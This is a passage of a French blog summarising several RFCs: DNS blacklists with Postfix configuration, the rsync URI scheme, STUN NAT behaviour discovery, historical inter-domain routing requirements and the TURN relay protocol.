En IPv6, pas de grosses différences, mais notons que, ici, le RFC fait œuvre créative car il n'existait pas encore de DNSxL IPv6 (pour IPv4, le RFC documente un état de fait). La section 2.4 précise les détails. Depuis, la liste Virbl a ajouté IPv6.
C'est tout pour le principe. Parmi les détails, la section 5 couvre
le cas où une DNSxL arrête de fonctionner correctement et ne contient
plus aucun enregistrement (ou au contraire répond systématiquement
quelle que soit l'adresse, cas qui s'est déjà produit). La liste doit
contenir une entrée pour 127.0.0.2
et ne
pas en contenir pour
127.0.0.1
. Tester ces deux clés permet de voir si
le fonctionnement technique de la liste est correct.
Comment utilise t-on une DNSxl ? La section 6 couvre la configuration des clients. Par exemple, avec le MTA Postfix, la configuration se fait ainsi :
smtpd_recipient_restrictions = permit_mynetworks, reject_unauth_destination, reject_rbl_client sbl-xbl.spamhaus.org, ...
et l'examen du journal permet de voir les rejets de certains émetteurs :
Jan 20 21:28:02 lilith postfix/smtpd[7442]: NOQUEUE: reject: RCPT from unknown[192.0.2.158]: 554 5.7.1 Service unavailable; Client host [192.0.2.158] blocked using sbl-xbl.spamhaus.org; http://www.spamhaus.org/query/bl?ip=192.0.2.158; from=<dioxidep@pnc.com.au> to=<info@generic-nic.net> proto=ESMTP helo=<[192.0.2.158]>
La configuration ci-dessus est de tout ou rien. Si l'adresse IP du client SMTP est dans la DNSBL, il est rejeté. Comme le rappelle le RFC, une autre utilisation est de tester plusieurs listes noires et de faire un calcul de pondération entre elles, ne rejetant le message que si l'émetteur se trouve dans plusieurs listes. C'est ce que fait SpamAssassin, par exemple. Cela protège contre les listes excessivement zélées (ou contre les listes mortes, qui peuvent répondre positivement pour toutes les adresses soumises, entraînant des rejets systématiques).
Et comment savoir si on est dans une liste noire ou pas ? Il existe
des outils pratiques et j'en recommande deux : rblcheck qui permet
d'interroger plusieurs listes noires d'un coup et
check-auth@verifier.port25.com
, une adresse de
courrier à laquelle on peut écrire, et qui vous renvoie
automatiquement un rapport détaillé sur votre message et les machines
qui l'ont transmis, y compris leur éventuelle présence dans les listes
noires. Mais on peut aussi citer (accès Web uniquement) MultiRBL (qui permet de
construire des URL REST comme
http://multirbl.valli.org/lookup/198.51.100.1.html
), Robtex (même
remarque sur les URL) ou MXtoolbox ou encore Blacklist check.
La section 7, enfin, couvre le problème de sécurité général. Comme le résume bien le RFC, utiliser une liste noire externe à votre organisation, c'est sous-traiter la sécurité à un tiers. Celui-ci peut faire un meilleur travail que vous (la plupart des listes noires maintenues localement sont statiques et jamais mises à jour) ou au contraire un bien pire. Il faut donc être bien conscient de ses responsabilités. Contrairement à ce que prétendent les porte-paroles officiels des gros FAI, les listes noires ne sont pas parfaites : elles comprennent des faux négatifs (spammeurs non listés) et des faux positifs (innocents listés). Tenir à jour ces listes est un gros travail et personne ne peut croire à la vérité des affirmations d'un gros FAI, dont un porte-parole à l'IETF prétend lire et traiter tous les rapports de faux positifs envoyés par ses clients.
Idéalement, l'administrateur système qui configure son serveur de messagerie pour utiliser une liste noire devrait passer du temps à s'informer sur la ou les listes envisagées, étudier leur politique et leur pratique, et surtout suivre son évolution dans le temps puisque les listes changent. Mais très peu le font.
Ne nous faisons pas d'illusion : l'Internet n'est pas un monde de gentils Bisounours où tout le monde coopère pour le bien commun, c'est un espace de concurrence et la polémique à l'IETF reflétait simplement la différence entre d'une part les gros FAI, plutôt éradicateurs, qui connaissent et regardent les autres de haut (la remarque « vous ne gérez pas des millions de boîtes aux lettres, donc taisez-vous » était la plus fréquente lors de la discussion) et d'autre part les petits FAI et les utilisateurs, bien forcés de subir.
Un rapport intéressant, dû à Bruno Rasle et Frédéric Aoun, avait bien montré le manque de sérieux de tant de listes noires : « Blacklists anti-Spam : plus de la moitié des entreprises indexées ». Plus récemment, on peut aussi lire un intéressant article sur la mésaventure survenue à Gandi avec SORBS.
Notons pour terminer que les DNSxL posent d'autres problèmes de sécurité que les faux positifs : comme elles sont consultées à chaque message, le gérant de la DNSxL peut avoir une idée de qui sont vos correspondants, et le DNS n'étant pas très sûr, les DNSxL ne le sont pas non plus (aujourd'hui, aucune n'est signée avec DNSSEC).
Merci à Olivier Fauveaux et Serge Aumont pour leurs remarques et corrections.
Date de publication du RFC : Février 2010
Auteur(s) du RFC : S. Weiler (Sparta), D. Ward (Cisco Systems), R. Housley (Vigil Security)
Pour information
Première rédaction de cet article le 13 février 2010
Les URI, définis par le RFC 3986, sont des identificateurs qui commencent par le nom
d'un plan (scheme). Celui-ci
identifie parfois (mais pas toujours) le
protocole de communication utilisé. Notre
RFC enregistre le plan
rsync
pour l'application
du même nom. Des URI comme
rsync://rsync.samba.org/rsyncftp/
seront désormais légaux.
En effet, un URI standard doit avoir un plan enregistré dans le registre IANA, selon les procédures du RFC 4395. Bien que les URI de plan
rsync
soient très courants, ce plan n'avait
jamais été formellement enregistré. La section 2 de notre RFC remédie
à ce manque en fournissant le formulaire d'enregistrement. La syntaxe
des URI rsync est donc :
rsync://[user@]host[:port]/source
par exemple, rsync://rsync.samba.org/rsyncftp/
. Le port par défaut est
873. Contrairement à beaucoup d'autres plans, notamment
http
, il n'existe qu'une seule application qui
utilise ce plan.
Date de publication du RFC : Mai 2010
Auteur(s) du RFC : D. MacDonald, B. Lowekamp
Expérimental
Première rédaction de cet article le 19 mai 2010
La norme STUN, à son origine en mars 2003 (RFC 3489), avait mis dans un seul RFC beaucoup de choses, comme la capacité à découvrir son adresse IP publique derrière le NAT, ou la capacité à découvrir le comportement du routeur NAT, et visait à être un mécanisme complet pour permettra la traversée d'un des engins qui enferment les machines situées derrière eux dans des adresses IP privées. Mais « qui trop embrasse mal étreint » et STUN avait été critiqué pour ne pas assez séparer ces différentes fonctions. Notamment, le mécanisme de découverte du comportement du routeur NAT a été jugé, avec l'expérience, trop fragile et peu fiable, vue la variété des comportements possibles (et l'absence de normes respectées sur ce point). Pire, dans certains cas, le comportement du routeur NAT variait dans le temps (par exemple parce qu'une table était pleine, cf. section 2). Le successeur du RFC 3489, le RFC 5389, a donc décidé de se concentrer sur le protocole de base, laissant des RFC comme notre RFC 5780, définir des usages (la section 1 résume ce choix). Notre RFC décrit donc comment utiliser STUN pour essayer de déterminer le comportement du routeur NAT.
Un routeur NAT alloue des bindings entre un
couple {adresse IP, port} interne (l'adresse IP est
généralement une adresses IP privée, telle que décrite dans le RFC 1918) et un couple {adresse IP, port}
externe. Par exemple, si une machine sur le réseau local écrit depuis
le couple {192.171.1.2
,
45342
}, le routeur dont l'adresse publique est
192.0.2.129
, peut créer un
binding de {192.0.2.129
,
8662
} vers
{192.171.1.2
,
45342
}. Tout paquet envoyé depuis une machine de
l'Internet à l'adresse 192.0.2.129
, port
8662
, va alors être transmis à l'adresse
192.171.1.2
, port 45342
.
Tous les routeurs NAT font cela. Mais ils diffèrent sur bien des points (la section 4 du RFC 4787 les énumère). Par exemple :
Notre protocole doit donc permettre de découvrir une réponse à ces questions. Il se base sur STUN (avec quelques attributs supplémentaires décrits dans ce RFC, section 7). L'application qui l'utilise peut alors se servir de ses découvertes pour ajuster son comportement. Par exemple, la découverte d'une très courte durée de vue des bindings peut l'amener à envoyer des paquets keepalive.
Pour tenir compte des critiques qui avaient été faites à STUN, le RFC précise bien (section 1) que ce protocole est expérimental, que l'application ne doit pas prendre au pied de la lettre les informations trouvées et qu'aucun procédé ne peut être complètement fiable dans ce domaine.
La section 2 décrit des cas où la découverte des propriétés du routeur NAT peut être utile, par exemple pour sélectionner les participants à un réseau pair-à-pair qui devront jouer un rôle particulier, par exemple de routage. La section 2.2, sur un protocole de pair-à-pair hypothétique qui utiliserait STUN, est particulièrement détaillée et donne un très bon exemple d'un mécanisme de « survie dans un monde de NAT ». Une lecture à recommander à tous les auteurs d'un protocole P2P.
La section 3 décrit le protocole en détail. Le
serveur STUN est
recherché dans le DNS via les enregistrements
SRV (RFC 2782 et section 5.1). Chaque sous-section
traite ensuite d'une question particulière de la liste donnée
ci-dessus. Par
exemple, pour déterminer si le binding dépend de
l'adresses de destination, le client STUN écrit aux deux adresses IP
du serveur STUN, en utilisant l'attribut OTHER-ADDRESS
(c'est pour cela qu'un serveur STUN pour ce protocole ne peut pas avoir
qu'une seule adresse, à noter que l'ancienne version de STUN imposait
deux adresses IP dans tous les cas) et regarde si les résultats sont
différents (section 3.2). Autre
exemple, la section 3.3 est consacrée à la détermination de la durée de
vie du binding en faisant un essai, attendant un
certain temps, puis refaisant l'essai pour voir s'il marche
toujours (inutile de dire que ce test est un des moins fiables, car la
durée de vie d'un binding peut dépendre du
remplissage des tables du routeur, section 4.6). Les virages en épingle à cheveux
(paquets envoyés d'une machine située derrière le routeur à une autre
machine située sur le même réseau, en passant par le routeur) sont
exposés en section 3.4, qui explique comment déterminer si ces virages
fonctionnent. La section 3.6 explique comment détecter la réécriture des
adresses IP en comparant les attributs
MAPPED-ADDRESS
et
XOR-MAPPED-ADDRESS
. Oui, c'est une
abomination, qui justifierait un rétablissement
de la peine de mort mais certains routeurs
examinent tous les octets qui passent et, lorsqu'ils trouvent quatre
octets qui sont identiques à l'adresse IP NATée, les remplacent par
l'adresse publique... C'est un des plus beaux exemples de délire d'un
programmeur réseau.
La section 4 décrit en détail les algorithmes que doivent suivre clients et serveurs. Par exemple, 4.4 parle de la nécessité de faire tourner les tests en parallèle (certains peuvent être longs) et 4.5 explicite le mécanisme de découverte de la durée de vie des bindings (tout en notant que les clients doivent s'attendre à des résultats incohérents car cette durée de vie peut varier, par exemple selon la charge du routeur).
Pourquoi notre RFC 5780 sort-il si longtemps après le
RFC 5389 ? Parce que sa genèse a été difficile :
des points comme le tirage au hasard des ports utilisés (sections 4.1
et 9.2), ou comme les
nouveaux enregistrements SRV (stun-behavior
au
lieu du traditionnel stun
), ont suscité de longues discussions.
Date de publication du RFC : Février 2010
Auteur(s) du RFC : E. Davies (Policy
consulting), A. Doria (LTU)
Intérêt historique uniquement
Première rédaction de cet article le 19 février 2010
Ce RFC est essentiellement un document historique. Écrit il y a pas mal d'années, il est publié aujourd'hui (avec quelques mises à jour et annotations) dans le cadre des efforts de définition d'une future architecture de routage inter-domaine dans l'Internet.
Sur Internet, il existe en effet deux sortes de routage, l'intra-domaine qui concerne les opérations se déroulant à l'intérieur d'un unique système autonome, donc sous une direction commune, et l'inter-domaine, qui traite du routage entre systèmes autonomes (les « domaines »), lorsqu'il faut franchir des frontières administratives, ce qui est bien plus complexe que de simplement pousser des paquets. Aujourd'hui, l'essentiel du routage inter-domaine est fait avec le protocole BGP (RFC 4271, et BGP avait été originellement conçu, en 1989, en réponse aux exigences du RFC 1126) et l'architecture sur laquelle il repose montre des sérieuses limites, notamment en matière de passage à l'échelle : pourrons-nous faire ecnore croître l'Internet, et à un coût raisonnable ? (La section 2 du RFC résume l'état actuel du routage inter-domaine et de ses limites. Elle est complétée sur ce dernier point par la section 5. Le routage intra-domaine est, lui, considéré comme globalement satisfaisant.)
Il existe en ce moment beaucoup d'activité à l'IETF et à l'IRTF autour de ce thème d'une future architecture de routage. Elle porte, par exemple, sur des idées comme la séparation de l'identificateur et du localisateur. Le groupe de l'IRTF concerné est le Routing Research Group et ce groupe travaille à la définition d'un cahier des charges pour la future architecture. Parmi les travaux étudiés à cette occasion, figurent les discussions qui ont eu lieu il y a plusieurs années, à partir du RFC 1126, et qui sont désormais synthétisées dans ce RFC. (Attention, donc, en le lisant, une bonne partie a été écrite au tout début du siècle.)
La section 1 résume la longue genèse de ce document, qui prend sa source dans les travaux d'un groupe informel nommé Babylon en 2001. Le texte original a été préservé, des ajouts indiquent ce qui a pu changer dans l'Internet depuis.
La section 3 du RFC détaille chacune des exigences du RFC 1126, dans l'ordre du RFC original, en expliquant dans quelles mesures elles sont satisfaites aujourd'hui, avec un Internet radicalement différent de ce qu'il était en 1989, où sa taille était minuscule, selon les critères d'aujourd'hui, et où sa connectivité était encore très hiérarchique, avec NSFnet au sommet.
Ainsi, l'exigence indiquée en section 3.1 e) du RFC 1126, Provide paths sensitive to user policies est décrite dans notre RFC 5773 en section 3.1.2.1.5 comme toujours valide (selon le texte écrit en 2001 par Babylon) mais très imparfaitement faite (loose source routing, QoS) et les notes de 2006 à nos jours ajoutent qu'il faut plutôt parler d'échec complet que de déploiement insuffisant.
Mais il y a aussi des succès, le principal étant évidemment que l'Internet marche. Des points qui semblaient primordiaux en 1989 et même encore en 2001 ont sombré dans une relative indifférence (comme la QoS, justement).
Les plus gros problèmes sont peut-être quantitatifs. Le RFC 1126, section 3.4 c) demandait innocemment que le futur (à l'époque) protocole permette 10 000 systèmes autonomes et 100 000 réseaux. Ces nombres ont été largement dépassés mais il n'est pas garanti, loin de là, que cette croissance pourra durer éternellement. En 2001, Babylon s'inquiétait pour l'épuisement de l'espace de numérotation des systèmes autonomes (16 bits à l'époque) et cette inquiétude se retrouve dans notre RFC en section 3.1.2.4.3. Le RFC a finalement une note disant que le déploiement du RFC 6793 est en train de résoudre ce problème mais que ce déploiement prend plus de temps que prévu.
Dans tout exercice d'ingéniérie, le plus dur n'est pas en général de définir les buts (« Que ça marche bien ! Que ça ne soit pas cher ! Que n'importe qui puisse s'en servir ! Que cela fasse le café ! ») mais les « non-buts », ce qu'on renonce à obtenir car cela nous entrainerait trop loin et condamnerait le projet. Il est rare que les non-buts soient explicites, car cela focaliserait la critique. Mais le RFC 1126 avait une telle section, la numéro 4, analysée en section 3.1.3 de notre RFC 5773. Par exemple, le RFC 1126 expliquait que la connectivité de tous n'était pas un but. En effet, elle nécessite la coopération de systèmes autonomes intermédiaires, coopération qui ne peut pas être obtenue par des moyens techniques. Ce simple non-but déclenche une grande discussion dans le RFC 5773 en section 3.1.3.1. N'est-il pas contraire à la mission de connectivité totale de l'Internet ? Le RFC 1126 n'était-il pas excessivement prudent car il avait été écrit dans un monde où IP n'était pas encore le protocole universel qu'il était devenu en 2001 ? (Et qu'il n'est plus depuis que IPv4 et IPv6 coexistent.) Faut-il chercher la connectivité universelle (qu'on n'a pas, même avec IPv4 seul, notamment à cause du NAT) ou le « routage universel » ?
De même, la répartition de charges était considérée par le RFC 1126 comme un nom but, même si la section 3.1.3.3 du RFC 5773 fait observer que le désir de faire passer le trafic d'un domaine par plusieurs fournisseurs est une des causes de la désagrégation des préfixes annoncés, et donc de la croissance de la table de routage.
La section 3 remet les choses dans le contexte de l'époque. En 1989, lorsque le RFC 1126 a été écrit, la famille de protocoles OSI était encore considérée sérieusement par certains (elle sera abandonnée au début des années 1990, sans jamais avoir connu de déploiement significatif). Le développement de BGP s'est donc fait dans un contexte marqué par la présence d'un concurrent, IDRP (alias ISO 10747, section 3.2 de notre RFC). La section revient donc sur l'histoire tourmentée (et parfois contestée) de cette époque, marquée par l'émergence du concept de système autonome et par celle de l'idée de routage non-hiérarchique. Parmi les documents importants cités par le RFC, il y a, par exemple, Internet Architecture Workshop: Future of the Internet System Architecture and TCP/IP Protocols ou bien le chapitre 14 du livre Open Systems Networking. Le RFC considère que, si IDRP n'a jamais été réellement déployé, du moins certaines des idées qu'il contenait ont inspiré les développements dans le monde Internet. (Beaucoup d'autres ont été abandonnées : pensez au chapitre sur les non-buts. Comme tous les protocoles OSI, IDRP ne pouvait pas résister à la conception en comité, où toute fonction demandée était forcément incluse, de peur de fâcher quelqu'un.) D'autres idées d'IDRP, comme l'utilisation de certificats X.509 pour signer les annonces, n'ont pas encore percé, bien qu'elles soient régulièrement évoquées pour BGP.
BGP a donc suivi son bonhomme de chemin, première version dans le RFC 1105 en juin 1989, deuxième dans le RFC 1163, en juin 1990, troisième dans le RFC 1267 publié en octobre 1991 et enfin quatrième dans le RFC 1771 en mars 1995 (BGP-4 est désormais normalisé dans le RFC 4271). IDRP est, lui, bien oublié, il n'a même pas d'article dans Wikipédia .
Parmi les autres efforts pour développer un mécanisme de routage inter-domaine, une place particulière doit être faite à Nimrod (RFC 1753 et RFC 1992, section 3.3 de notre RFC). Le projet Nimrod, de 1994 à 1996, visait à créer une architecture de routage complètement nouvelle. S'il n'a pas débouché, les idées explorées à ce moment ont néanmoins beaucoup influencé les recherches ultérieures. Par exemple, Nimrod, contrairement à pas mal de projets « table rase » qui croient naïvement qu'on les laissera tout détruire et repartir de zéro, mettait explicitement au premier plan la nécessité d'être déployable progressivement, c'est-à-dire de ne pas rester bloqué dans le dilemme de l'œuf et de la poule, où personne n'adopte le nouveau système car il n'y a aucun intérêt à le faire, tant qu'on reste tout seul. Cette exigence de déploiement progressif reste essentielle aujourd'hui : l'Internet n'est plus un jouet de chercheurs, on ne peut plus l'arrêter pour voir, ni imposer un changement d'un seul coup, comme l'avait été l'abandon de NCP.
À noter que l'architecture de Nimrod faisait partie des projets concurrents pour le système « IPng », qui devait prendre la suite d'IPv4. Trop ambitieux, Nimrod avait été rejeté au profit du futur IPv6 qui se limitait au format des paquets IP et ne tentait pas de réformer l'architecture de routage inter-domaine (qui reste donc la même qu'avec IPv4).
Si Nimrod est relativement connu des gens de l'IETF, PNNI, résumé en section 3.4, l'est beaucoup moins. Il venait des travaux de l'ATM forum et n'avait guère eu de succès, peut-être parce que trop lié à une architecture vite dépassée, ATM.
Le travail des chercheurs sur le routage interdomaine ne s'est jamais arrêté. La section 4 est donc consacrée aux travaux récents en ce domaine. Ces recherches sur un objet très mouvant, le gigantesque Internet d'aujourd'hui, doivent s'adapter sans cesse. Ainsi, rappelle notre RFC, la connexion d'un site à plusieurs FAI devient de plus en plus fréquente et il est urgent de trouver un mécanisme qui permette de la faire dans de bonnes conditions.
Parmi les travaux de recherche des dernières années, le RFC cite NewArch (section 4.2). Datant de 2000-2001, financé par une agence gouvernementale états-unienne, NewArch avait, dans son cahier des charges, des préoccupations inquiétantes comme la protection des rapaces détenteurs de « propriété intellectuelle » ou comme la nécessité de développer des systèmes de surveillance plus perfectionnés.
Sans doute trop récents, puisque l'essentiel du RFC 5773 avait été fait avant 2006, les projets comme Clean Slate et GENI qui, pour l'instant, ont surtout produit du vent, ne sont pas mentionnés.
Quel est l'état de la réflexion sur les limites et défauts du modèle actuel de routage inter-domaine ? La section 5 répond à cette question, dans la suite du RFC 3221. Parmi les nombreux problèmes identifiés dans cette section, la propagation mondiale des erreurs locales (section 5.3), magnifiquement illustrée par l'attaque involontaire contre YouTube (depuis, une solution a été normalisée, mais pas encore massivement déployée), l'absence de solution satisfaisante à la forte demande des utilisateurs pour les connexions à plusieurs FAI (section 5.4 et RFC 4116), la question de la sécurité, puisque n'importe quel routeur BGP peut annoncer n'importe quelle route (section 5.11, RFC 4593 pour le cahier des charges des efforts actuels visant à normaliser une solution et, pour un exemple récent d'alerte de sécurité, la faille Kapela & Pilosov).
Comme toutes les listes de problèmes, celle-ci peut donner l'impression que BGP est fichu et on peut se demander, en la lisant, pourquoi l'Internet marche encore. C'est parce que les faiblesses de BGP, notamment la propagation mondiale de n'importe quelle annonce, même fausse, même mensongère, sont aussi ses forces. Elles permettent à tous de détecter le problème et de réagir rapidement. C'est bien à tort que le RFC prétend, dans sa section 5.14, qu'il n'existe pas d'outils de détection en temps réel des changements BGP, il y en a au contraire une pléthore !
Date de publication du RFC : Février 2010
Auteur(s) du RFC : A. Doria (LTU), E. Davies (Folly
consulting), F. Kastenholz
Intérêt historique uniquement
Première rédaction de cet article le 19 février 2010
Ce RFC qui expose un cahier des charges pour le routage global de l'Internet est essentiellement un document historique. Écrit il y a pas mal d'années, il est publié aujourd'hui (avec quelques mises à jour et annotations) dans le cadre des efforts de définition d'une future architecture de routage. Il accompagne le RFC 5773 qui décrivait l'existant et se focalise sur les deux cahiers des charges qui avaient été redigés par deux groupes de travail en 2001. (Attention, donc, en le lisant, une bonne partie a été écrite au tout début du siècle.)
La section 1 résume la genèse compliquée de ce document. Il est issu d'un travail d'un groupe de l'IRTF qui devait travailler sur le routage « en partant d'une page blanche », c'est-à-dire sans être gêné par la nécessité de rester proche des mécanismes actuels. Un autre groupe, nommé Babylon, travaillait au même moment sur le même sujet, mais avec une perspective différente puisque Babylon se limitait aux solution incrémentales, ne nécessitant pas de tout jeter. Les contributions des deux groupes ont été réunis dans ce RFC 5772 (le « groupe A » est celui de l'IRTF et le « groupe B » est Babylon). Les deux groupes n'ont pas été fusionnés car ils partaient de principes trop différents pour qu'une fusion puisse marcher. La liste des membres des deux groupes figure dans la section 6.
Leurs contributions ont été un peu éditées pour la publication dans ce RFC mais, à part cela, elles reflètent en gros le point de vue du début des années 2000. Dans les deux cas (groupe A et groupe B), il s'agit d'une liste au Père Noël, de tout ce qu'il serait bien d'avoir dans le routage et la section 1 note qu'il n'est pas forcément possible de rééaliser toutes ces exigences (surtout simultanément).
La section 2 est rédigée par le groupe A, celui qui partait d'une feuille blanche. On y trouve tous les bons principes de conception, par exemple qu'une architecture doit être définie et bien documentée, avant de se plonger dans les détails des protocoles (section 2.1.1). Idéalement, les changements des composants de cette architecture devraient pouvoir se faire séparement pour chaque composant. Et, encore plus vœu pieux, l'adressage devrait être séparé de la topologie du réseau (actuellement, sans être complètement liés, les deux sont fortement connectés ; cela explique les bonnes performances de l'Internet, malgré sa taille, mais c'est aussi dans cette forte connexion que se trouvent souvent les conflits, par exemple autour des adresses PI, ces adresses qui ne suivent pas la topologie).
L'architecture vue par le groupe A doit passer à l'échelle, c'est-à-dire accepter des réseaux bien plus grands qu'aujourdhui (« idéalement, pour les vingt prochaines années »), par exemple pour plusieurs dizaines de milliers d'AS, chiffre qu'une note d'un éditeur en 2005 prévient qu'il a déjà été atteint. Une autre prévision est déjà dépassée dans la même section 2.1.3. Le texte de 2001 prenait le risque de pronostiquer que, en raison de certaines limites physiques, les 40 Gb/s d'OC768 seraient difficiles à dépasser alors qu'ils le sont déjà.
La section 2.1.6 demande que l'architecture nouvelle gère proprement le multi-homing. La 2.1.9, encore plus ambitieuse, demande que le nouveau système de routage soit sûr. Par exemple, une des exigences est la possibilité de dissimuler aux regards extérieurs la topologie de son réseau ce qui, pris au pied de la lettre, veut dire qu'il faut pouvoir empêcher traceroute de fonctionner.
Bien que le point de départ originel du projet du groupe A était de partir de zéro, une section, la 2.1.12 est quand même consacrée au déploiement incrémental de la nouvelle architecture, le considérant comme impératif. C'est compréhensible (l'expérience de beaucoup d'autres objets techniques complexes montre la vanité qu'il y a à vouloir faire table rase de l'investissement financier, technique et social) mais cela rend l'ensemble du cahier des charges encore plus... Comment dire ? Ambitieux ? Irréaliste ?
Le caier des charges du groupe A ne s'arrête pas là. Il demande encore une complète portabilité des adresses IP (section 2.1.14), que l'architecture soit simple à comprendre (« en moins d'une heure », dit la section 2.1.17 mais il est vrai que sa simplicité conceptuelle fut une des raisons de la victoire d'IP contre OSI). l'indépendance du système de routage par rapport aux autres composants de l'architecture (comme le DNS cf. section 2.1.20), et bien d'autres choses.
La liste est donc impressionnante. Et pourtant, tout n'a pas été inclus. La section 2.2 liste les non-buts, ce que le groupe A n'a pas considéré comme faisant partie des objectifs. On y trouve l'ingéniérie de trafic (section 2.2.2), terme très flou et trop vaste pour avoir été inclus dans les objectifs. la « sécurité absolue » (section 2.2.6), qui pourrait, en cas de problème, empêcher les opérateurs de faire leur travail, le routage dynamique en fonction de la charge du réseau (section 2.2.7), une vieille idée de l'Arpanet qui s'est toujours avérée très « casse-gueule », et, naturellement, la compatibilité avec l'existant (section 2.2.10) puisque l'idée de départ était une approche « table rase ».
La section 3 donne ensuite la parole au groupe (alias Babylon). Après un résumé du contexte, les exigences commencent en 3.2.3 qui note que tout cahier des charges laisse en général en blanc la question de l'évaluation des résultats : comment savoir qu'on a réussi ?
Parmi les demandes, l'exigence que le routage fournisse suffisamment d'informations pour pouvoir être utilisé par plusieurs services, autres que la délivrance de datagrammes au meilleur effort (section 3.2.3.2), le passage à l'échelle (section 3.2.3.3, où le RFC note que, dans ce secteur, l'échec est bien plus facile à détecter que le succès), etc. La sécurité fait l'objet de la demande 3.2.3.8,qui réclame une protection contre les DoS en notant que, dans l'Internet actuel, le fait de connaître une route sert également d'autorisation à y envoyer un paquet et qu'il faudrait changer cela (les notes récentes du RFC critiquent le groupe B en se demandant si ce ne serait pas une violation de la transparence du réseau).
Le groupe B souhaite également que les erreurs de configuration des routeurs (comme celle d'un routeur Microtik tchèque) ne puissent plus avoir des conséquences poiur l'Internet entier (section 3.2.3.10).
L'Internet n'est pas un objet purement technique. Il nécessite beaucoup de moyens humains et financiers, qui n'arrivent pas tout seuls. La section 3.4 se lance dans l'étude des contraintes extérieures, qui limitent les solutions possibles. Un des exemples le plus simple est celui de la très forte dépendance du soi-disant « cyberespace » vis-à-vis du monde physique (section 3.4.3). Combien d'entreprises ont acheté leur connectivité Internet à deux fournisseurs « pour la redondance » avant de découvrir que leurs câbles passaient dans la même tranchée et pouvaient tous être tranchés par la même pelleteuse ? (Comme ce fut le cas lors de la coupure égyptienne.)
Les exigences détaillées apparaissent ensuite en section 3.6. Groupées en sections, chacune reçoit un numéro, chaque section faisant l'objection d'une discussion groupée. Ainsi, l'exigence R(13) (Requirment 13), « Le routage doit pouvoir gérer différents chemins selon le service demandé » (nécessaire pour la QoS) fait partie de la section 3.6.2.2 sur les annonces de routes.
Il y a en tout 64 de ces exigences. Quelques exemples :
La section 3.10 couvre ensuite les questions « contestables », celles où le consensus du groupe B est moins fort. Cela va de questions très vagues (3.10.1 regrette qu'on modélise toujours les réseaux sous forme de graphes et demande qu'on accepte d'autres modèles - sans donner aucune idée de ce qu'ils pourraient être) à des considérations sur des problèmes transversaux comme le général byzantin (section 3.10.10).
Date de publication du RFC : Avril 2010
Auteur(s) du RFC : J. Rosenberg (jdrosen.net), R. Mahy, P. Matthews
(Alcatel-Lucent)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF behave
Première rédaction de cet article le 30 avril 2010
Le protocole TURN, que décrit notre RFC, est le dernier recours des applications coincées derrière un routeur NAT et qui souhaitent communiquer avec une application dans la même situation (cf. RFC 5128). Avec TURN, le serveur STUN ne se contente pas d'informer sur l'existence du NAT et ses caractéristiques, il relaie chaque paquet de données. (Depuis la parution de ce RFC, une nouvelle norme TURN est sortie, dans le RFC 8656.)
Être situé derrière un routeur NAT n'est jamais une situation enviable. De nombreuses applications fonctionnent mal ou pas du tout dans ce contexte. Le groupe de travail IETF behave a pour mission de spécifier des mécanismes permettant de faire fonctionner le plus d'applications possibles à travers un NAT. Le socle de tous ces mécanismes est STUN (RFC 5389), où le client STUN (notre machine bloquée par le NAT) communique avec un serveur STUN situé dans le monde libre pour apprendre sa propre adresse IP externe. Outre cette tâche de base, des extensions à STUN permettent d'aider davantage le client, c'est par exemple le cas de TURN que normalise notre RFC.
L'idée de base est que deux machines Héloïse et Abélard, chacune peut-être située derrière un NAT, vont utiliser STUN pour découvrir s'il y a un NAT entre elles (sinon, la communication peut se faire normalement) et, s'il y a un NAT, s'il se comporte « bien » (tel que défini dans les RFC 4787 et RFC 5382). Dans ce dernier cas, STUN seul peut suffire, en informant les machines de leur adresse extérieure et en ouvrant, par effet de bord, un petit trou dans le routeur pour permettre aux paquets entrants de passer.
Mais, parfois, le NAT ne se comporte pas bien et il n'existe aucune solution permettant le transport direct des données entre Héloïse et Abélard. La solution utilisée par tous les systèmes pair-à-pair, par exemple en téléphonie sur Internet, est de passer par un relais. Normalement, le serveur STUN ne sert qu'à un petit nombre de paquets, ceux de la signalisation et les données elles-mêmes (ce qui, en téléphonie ou en vidéo sur IP, peut représenter un très gros volume) vont directement entre Héloïse et Abélard. Avec TURN, le serveur STUN devient un relais, qui transmet les paquets de données.
TURN représente donc une charge beaucoup plus lourde pour le serveur, et c'est pour cela que cette option est restreinte au dernier recours, au cas où on ne peut pas faire autrement. Ainsi, un protocole comme ICE (RFC 8445) donnera systématiquement la préférence la plus basse à TURN. De même, le serveur TURN procédera toujours à une authentification de son client, car il ne peut pas accepter d'assurer un tel travail pour des inconnus (l'authentification - fondée sur celle de STUN, RFC 5389, section 10.2 - et ses raisons sont détaillées dans la section 4). Il n'y aura donc sans doute jamais de serveur TURN public.
TURN est défini comme une extension de STUN, avec de nouvelles
méthodes et de nouveaux attributs. Le client TURN envoie
donc une requête STUN, avec une méthode d'un type nouveau, Allocate
,
pour demander au serveur de se tenir prêt à relayer (les détails du
mécanisme d'allocation
figurent dans les sections 5 et 6). Le client est
enregistré par son adresse de transport (adresse IP publique et
port). Par exemple, si Héloise a pour adresse
de transport locale 10.1.1.2:17240
(adresse IP du RFC 1918 et port n° 17240), et que le NAT réécrit cela en
192.0.2.1:7000
, le serveur TURN (mettons qu'il
écoute en 192.0.2.15
) va, en réponse à la requête Allocate
, lui allouer, par exemple,
192.0.2.15:9000
et c'est cette dernière adresse
qu'Héloïse va devoir transmettre à Abélard pour qu'il lui envoie des
paquets, par exemple RTP. Ces paquets
arriveront donc au serveur TURN, qui les renverra à
192.0.2.1:7000
, le routeur NAT les transmettant
ensuite à 10.1.1.2:17240
(la transmission des
données fait l'objet des sections 10 et 11). Pour apprendre l'adresse
externe du pair, on utilise ICE ou bien un protocole de
« rendez-vous » spécifique.
Ah, et comment le serveur TURN a t-il choisi le port 9000 ? La section 6.2 détaille les pièges à éviter, notamment pour limiter le risque de collision avec un autre processus sur la même machine.
TURN ne fonctionne que sur IPv4, car c'est pour ce protocole que des NAT sont présents. (Une extension pour relayer vers IPv6, afin de faciliter éventuellement la transition entre les deux familles, a été normalisée dans le RFC 6156.) TURN peut relayer de l'UDP ou du TCP (section 2.1) mais le serveur TURN enverra toujours de l'UDP en sortie (une extension existe pour utiliser TCP en sortie, RFC 6062). La section 2.1 explique aussi pourquoi accepter du TCP en entrée quand seul UDP peut être transmis : la principale raison est l'existence de coupe-feux qui ne laiseraient sortir que TCP.
Les données peuvent circuler dans des messages STUN classiques
(nommés Send
et Data
,
cf. section 10) ou bien dans des canaux virtuels
(channels, sortes de sous-connexions,
